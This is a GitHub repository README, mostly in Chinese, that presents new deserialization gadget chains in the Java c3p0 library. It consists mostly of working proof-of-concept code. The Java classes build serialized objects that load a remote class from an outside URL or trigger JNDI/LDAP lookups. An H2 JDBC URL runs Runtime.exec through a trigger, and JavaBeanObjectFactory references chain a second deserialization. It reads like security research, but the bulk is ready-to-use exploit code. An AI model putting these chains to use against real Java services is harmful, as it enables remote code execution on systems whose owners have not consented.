Skip to content

unam4/c3p0explore

Repository files navigation

随便写的,随便看看

C3p0新gadget探索及扩展利用

0x01 jdkreadobject

MATCH path=(:Method {NAME: "readObject"})
        -[:CALL|ALIAS*1..2]->(:Method {NAME: "getObject"})
        -[:CALL|ALIAS*2..3]->(m2:Method )
WHERE m2.NAME IN ["lookup", "getObjectInstance", "newInstance"]
RETURN path

image-20250113002221738

1 jndiRefDataSourceBase

package org.unam4.jdkser;

import org.unam4.utils;

import javax.naming.Context;
import javax.naming.Reference;
import javax.naming.ldap.LdapName;
import java.util.Hashtable;

public class jndiRefDataSourceBase {
    public static void main(String[] args) throws Exception {

        //可打本地Reference,若在低版本tomcat下,打tomcatel表达式,高版本打dhcp,hairkpool转jdbc。或者直接调用urlclassload加载class,Reference可直接指向自己的com.mchange.v2.naming.JavaBeanObjectFactory去调用stter触发c3p0二次反序列化
        Reference reference = new Reference("calculator", "calculator", "http://5fe1ef0bcb.ipv6.1433.eu.org/");

        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:80");
        Object o = utils.createWithoutConstructor("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
        utils.setFieldValue(o, "reference", reference);
        //contextName为空的时候,不走jndi,去走reference流程。
        utils.setFieldValue(o, "contextName", new LdapName("cn=Object"));
        //配置context的信息
        utils.setFieldValue(o, "env", env);
        Object base = utils.createWithoutConstructor("com.mchange.v2.c3p0.impl.JndiRefDataSourceBase");
        utils.setFieldValue(base, "jndiName", o);
        byte[] serialize = utils.serialize(base);
        utils.unserialize(serialize);
    }
}

2 WrappeDataSource

package org.unam4.jdkser;

import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import javassist.CtMethod;
import org.unam4.utils;

import javax.naming.*;
import javax.naming.ldap.LdapName;
import java.io.*;
import java.util.Hashtable;

public class WrappeDataSource {
    public static void main(String[] args) throws Exception {
        renewfied ();
        WrapperConnectionPoolDataSource wrapperConnectionPoolDataSource = new WrapperConnectionPoolDataSource();

        //可打本地Reference,若在低版本tomcat下,打tomcatel表达式,高版本打dhcp,hairkpool转jdbc。或者直接调用urlclassload加载class
        Reference reference = new Reference("calculator", "calculator", "http://5fe1ef0bcb.ipv6.1433.eu.org/");

        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:80");
        Object o = utils.createWithoutConstructor("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
        utils.setFieldValue(o, "reference", reference);
        //contextName为空的时候,不走jndi,去走reference流程。
        utils.setFieldValue(o, "contextName", new LdapName("cn=Object"));
        //配置context的信息
        utils.setFieldValue(o, "env", env);

        utils.setFieldValue(wrapperConnectionPoolDataSource, "nestedDataSource", o);

        ByteOutputStream stream = new ByteOutputStream();
        ObjectOutputStream objectInputStream = new ObjectOutputStream(stream);
        objectInputStream.writeObject(wrapperConnectionPoolDataSource);


//        byte[] serialize = utils.serialize(base);
//        FileOutputStream fileOutputStream = new FileOutputStream("c3p0.ser");
//        fileOutputStream.write(serialize);
//        fileOutputStream.close();
        utils.unserialize(stream.toByteArray());

    }

    private static  void renewfied (){
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.get("com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase");

            CtField connectionPoolDataSourceField = ctClass.getDeclaredField("nestedDataSource");
            ctClass.removeField(connectionPoolDataSourceField);

            CtField newField = CtField.make("private java.lang.Object nestedDataSource;", ctClass);
            ctClass.addField(newField);

            for (CtMethod method : ctClass.getDeclaredMethods()) {
                if (method.getName().contains("nestedDataSource") || method.getName().contains("writeObject") ) {
                    ctClass.removeMethod(method);
                }
            }

            CtMethod writeobj = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream var1) throws java.io.IOException {var1.writeShort(1);var1.writeInt(this.acquireIncrement);var1.writeInt(this.acquireRetryAttempts);var1.writeInt(this.acquireRetryDelay);var1.writeBoolean(this.attemptResurrectOnCheckin);var1.writeBoolean(this.autoCommitOnClose);var1.writeObject(this.automaticTestTable);var1.writeBoolean(this.breakAfterAcquireFailure);var1.writeInt(this.checkoutTimeout);var1.writeObject(this.connectionCustomizerClassName);var1.writeInt(this.connectionIsValidTimeout);var1.writeObject(this.connectionTesterClassName);var1.writeObject(this.contextClassLoaderSource);var1.writeBoolean(this.debugUnreturnedConnectionStackTraces);var1.writeObject(this.factoryClassLocation);var1.writeBoolean(this.forceIgnoreUnresolvedTransactions);var1.writeBoolean(this.forceSynchronousCheckins);var1.writeObject(this.identityToken);var1.writeInt(this.idleConnectionTestPeriod);var1.writeInt(this.initialPoolSize);var1.writeObject(this.markSessionBoundaries);var1.writeInt(this.maxAdministrativeTaskTime);var1.writeInt(this.maxConnectionAge);var1.writeInt(this.maxIdleTime);var1.writeInt(this.maxIdleTimeExcessConnections);var1.writeInt(this.maxPoolSize);var1.writeInt(this.maxStatements);var1.writeInt(this.maxStatementsPerConnection);var1.writeInt(this.minPoolSize);var1.writeObject(this.nestedDataSource);}", ctClass);

            ctClass.addMethod(writeobj);
            ctClass.writeFile();

            ctClass.toClass(Thread.currentThread().getContextClassLoader());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

3.poolbackedDataSourceBase

package org.unam4.jdkser;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import javassist.CtMethod;
import org.unam4.utils;

import javax.naming.*;
import javax.naming.ldap.LdapName;
import java.util.Hashtable;

public class poolbackedDataSourceBase {
    public static void main(String[] args) throws Exception {
        renewfied ();

        //可打本地Reference,若在低版本tomcat下,打tomcatel表达式,高版本打dhcp,hairkpool转jdbc。或者直接调用urlclassload加载class
        Reference reference = new Reference("calculator", "calculator", "http://5fe1ef0bcb.ipv6.1433.eu.org/");

        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:80");
        Object o = utils.createWithoutConstructor("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
        utils.setFieldValue(o, "reference", reference);
        //contextName为空的时候,不走jndi,去走reference流程。
        utils.setFieldValue(o, "contextName", new LdapName("cn=Object"));
        //配置context的信息
        utils.setFieldValue(o, "env", env);


        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(true);
        utils.setFieldValue(poolBackedDataSourceBase,"connectionPoolDataSource",o);

        byte[] serialize = utils.serialize(poolBackedDataSourceBase);
        utils.unserialize(serialize);

    }

    private static  void renewfied (){
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.get("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");

            CtField connectionPoolDataSourceField = ctClass.getDeclaredField("connectionPoolDataSource");
            ctClass.removeField(connectionPoolDataSourceField);

            CtField newField = CtField.make("private java.lang.Object connectionPoolDataSource;", ctClass);
            ctClass.addField(newField);

            for (CtMethod method : ctClass.getDeclaredMethods()) {
                if (method.getName().contains("ConnectionPoolDataSource") || method.getName().contains("writeObject") ) {
                    ctClass.removeMethod(method);
                }
            }

            CtMethod writeobj = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream var1) throws java.io.IOException {var1.writeShort(1); var1.writeObject(this.connectionPoolDataSource);}", ctClass);

            ctClass.addMethod(writeobj);
            ctClass.writeFile();

            ctClass.toClass(Thread.currentThread().getContextClassLoader());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

0x02 jdbc 攻击

MATCH path=(source:Method {NAME:"getConnection", PARAMETER_SIZE:0, RETURN_TYPE:"java.sql.Connection"})<-[:HAS]-(cls:Class)-[:INTERFACE|EXTENDS*]->(cls1:Class)
WHERE cls1.NAME = "java.io.Serializable" 
WITH path, [node IN nodes(path) WHERE node.IS_ABSTRACT = true ] AS abstractNodes 
RETURN path

image-20250113002900594

一共有查询出6个

com.mchange.v2.c3p0.debug.AfterCloseLoggingComboPooledDataSource

com.mchange.v2.c3p0.impl.AbstractPoolBackedDataSource

com.mchange.v2.c3p0.debug.CloseLoggingComboPooledDataSource

com.mchange.v2.c3p0.DriverManagerDataSource

com.mchange.v1.db.sql.DriverManagerDataSource

com.mchange.v2.c3p0.JndiRefForwardingDataSource

其中AbstractPoolBackedDataSource是抽象类,其中第一和第三个也是AbstractPoolBackedDataSource的子类,且有相应实现。子类在没有getconntion时会调用父类的方法。所以还有几个类也可用来构造jdbc攻击。

image-20250113003847446

com.mchange.v2.c3p0.PoolBackedDataSource

com.mchange.v2.c3p0.debug.ConstructionLoggingComboPooledDataSource

com.mchange.v2.c3p0.ComboPooledDataSource

如此,我们有除去.Abstract 还有8个类可以用来构造jdbc攻击。

com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource

PoolBackedDataSource的链就是调用了JndiRefConnectionPoolDataSource,也就是可以拆出来。

com.mchange.v2.c3p0.WrapperConnectionPoolDataSource

同理WrapperConnectionPoolDataSource本质调用JndiRefForwardingDataSource,他也可以拿出来。

以上就有10个类触发getter 攻击利用链。

package org.unam4.jdbc;

import com.mchange.v2.c3p0.*;
import com.mchange.v2.c3p0.debug.AfterCloseLoggingComboPooledDataSource;
import com.mchange.v2.c3p0.debug.CloseLoggingComboPooledDataSource;
import com.mchange.v2.c3p0.debug.ConstructionLoggingComboPooledDataSource;
import org.unam4.utils;

import javax.naming.Context;
import javax.naming.Reference;
import javax.naming.ldap.LdapName;
import java.lang.reflect.Method;
import java.util.Hashtable;


public class jdbc {
    private  static  String jdbcUrl ="jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
            "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
            "java.lang.Runtime.getRuntime().exec('open .')\n" +
            "$$\n";

    private static String jdni = "ldap://127.0.0.1:80/Object";

    public static void main(String[] args) throws Exception {

        jdbc jdbc = new jdbc();
        ComboPooledDataSource comboPooledDataSource = jdbc.comboPooledDataSource();
        comboPooledDataSource.getConnection();

    }

    public void setJdbcUrl (String jdbcUrl) {
        this.jdbcUrl = jdbcUrl;
    }

    public void setJdni (String jdni) {
        this.jdni = jdni;
    }
    public ComboPooledDataSource comboPooledDataSource () {
        ComboPooledDataSource dataSource1 = new ComboPooledDataSource();
        dataSource1.setJdbcUrl(jdbcUrl);
        return dataSource1;
    }

    public AfterCloseLoggingComboPooledDataSource afterCloseLoggingComboPooledDataSource (){
        AfterCloseLoggingComboPooledDataSource dataSource2 = new AfterCloseLoggingComboPooledDataSource();
        dataSource2.setJdbcUrl(jdbcUrl);
        return dataSource2;
    }

    public CloseLoggingComboPooledDataSource closeLoggingComboPooledDataSource (){
        CloseLoggingComboPooledDataSource dataSource3 = new CloseLoggingComboPooledDataSource();
        dataSource3.setJdbcUrl(jdbcUrl);
        return dataSource3;
    }

    public ConstructionLoggingComboPooledDataSource constructionLoggingComboPooledDataSource (){
        ConstructionLoggingComboPooledDataSource dataSource4 = new ConstructionLoggingComboPooledDataSource();
        dataSource4.setJdbcUrl(jdbcUrl);
        return dataSource4;
    }

    public DriverManagerDataSource driverManagerDataSource (){
        com.mchange.v2.c3p0.DriverManagerDataSource dataSource5 = new com.mchange.v2.c3p0.DriverManagerDataSource();
        dataSource5.setJdbcUrl(jdbcUrl);
        return dataSource5;
    }

    public com.mchange.v1.db.sql.DriverManagerDataSource driverManagerDataSource2 (){
        com.mchange.v1.db.sql.DriverManagerDataSource dataSource6 = new com.mchange.v1.db.sql.DriverManagerDataSource(jdbcUrl,"","");
        return dataSource6;
    }

    public Object jndiRefForwardingDataSource () throws Exception{
        Object dataSource7 = utils.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
        utils.setFieldValue(dataSource7,"jndiName",jdni);
        return dataSource7;
    }

    public JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource () throws Exception{
        JndiRefConnectionPoolDataSource dataSource8 = new JndiRefConnectionPoolDataSource();
        dataSource8.setJndiName(jdni);
        return dataSource8;
    }

    public PoolBackedDataSource poolBackedDataSource () throws Exception{
        JndiRefConnectionPoolDataSource dataSource8 = new JndiRefConnectionPoolDataSource();
        dataSource8.setJndiName(jdni);
        PoolBackedDataSource dataSource9 = new PoolBackedDataSource();
        dataSource9.setConnectionPoolDataSource(dataSource8);
        return dataSource9;
    }

    public Object wrapperConnectionPoolDataSource () throws Exception{
        Object o = utils.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
        utils.setFieldValue(o, "jndiName", jdni);

        WrapperConnectionPoolDataSource dataSource10 = new WrapperConnectionPoolDataSource();
        utils.setFieldValue(dataSource10,"nestedDataSource",dataSource10);
        return dataSource10;
    }

}

0x03 getobject ( 接getter,jackon/rome/fj/hb/cb等)

urlclassloader

image-20250113104733489

image-20250113104813034

        Reference reference = new Reference("calculator", "calculator", "http://127.0.0.1:8080/");
        Object o = utils.createWithoutConstructor("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
        utils.setFieldValue(o, "reference", reference);

jndi

image-20250113104716884

        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:80");
        Object o = utils.createWithoutConstructor("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
        utils.setFieldValue(o, "contextName", new LdapName("cn=Object"));
        utils.setFieldValue(o, "env", env);

reference

image-20250113104828183

image-20250113104839874

image-20250113151603145

反序列化二

image-20250313005553981

获取传入class的所有PropertyDescriptors, 然后遍历,如果reference有PropertyDescriptors的值,在判断是string还是byte,是byte就是直接进行反序列化还原对象。

二次反序列化

        byte[] bytes = Files.readAllBytes(Paths.get("PoolBackedDataSourceBase"));

        Reference reference1 = new Reference("com.mchange.v2.naming.JavaBeanObjectFactory", "com.mchange.v2.naming.JavaBeanObjectFactory", null);
        reference1.add(new BinaryRefAddr("com.mchange.v2.naming.JavaBeanReferenceMaker.REF_PROPS_KEY",bytes));
        Object o = utils.createWithoutConstructor("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
        utils.setFieldValue(o, "reference", reference1);
        Reference reference = new Reference("com.mchange.v2.c3p0.JndiRefForwardingDataSource", "com.mchange.v2.naming.JavaBeanObjectFactory", null);

        reference.add(new BinaryRefAddr("jndiName", Files.readAllBytes(Paths.get("PoolBackedDataSourceBase"))));

在他调用getObject进行触发。

0x04 拓展

利用JavaBeanObjectFactory/c3p0JavaBeanObjectFactory 修改springmvc或者tomcat 属性

不给源码了,改springmvc需要jdk9以上,因为jdk9才映入moudile

利用JavaBeanObjectFactory/c3p0JavaBeanObjectFactory 进行调用stter方法触发二次

二次反序列化

package org.unam4.getobj;

import com.sun.org.apache.xerces.internal.impl.dv.util.HexBin;
import org.unam4.utils;

import javax.naming.BinaryRefAddr;
import javax.naming.Context;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.naming.ldap.LdapName;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Hashtable;

public class javaBeanObjectFactory {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Files.readAllBytes(Paths.get("PoolBackedDataSourceBase"));
        String exp = "HexAsciiSerializedMap:"+ HexBin.encode(bytes)+";";
        Reference reference = new Reference("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "com.mchange.v2.naming.JavaBeanObjectFactory", null);
        reference.add(new StringRefAddr("userOverridesAsString",exp));

        Object o = utils.createWithoutConstructor("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
        utils.setFieldValue(o, "reference", reference);
        Object base = utils.createWithoutConstructor("com.mchange.v2.c3p0.impl.JndiRefDataSourceBase");
        utils.setFieldValue(base, "jndiName", o);
        byte[] serialize = utils.serialize(base);
        utils.unserialize(serialize);
    }
}

致谢

https://github.com/wh1t3p1g/tabby

https://github.com/Java-Chains

About

c3p0 new gadget

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages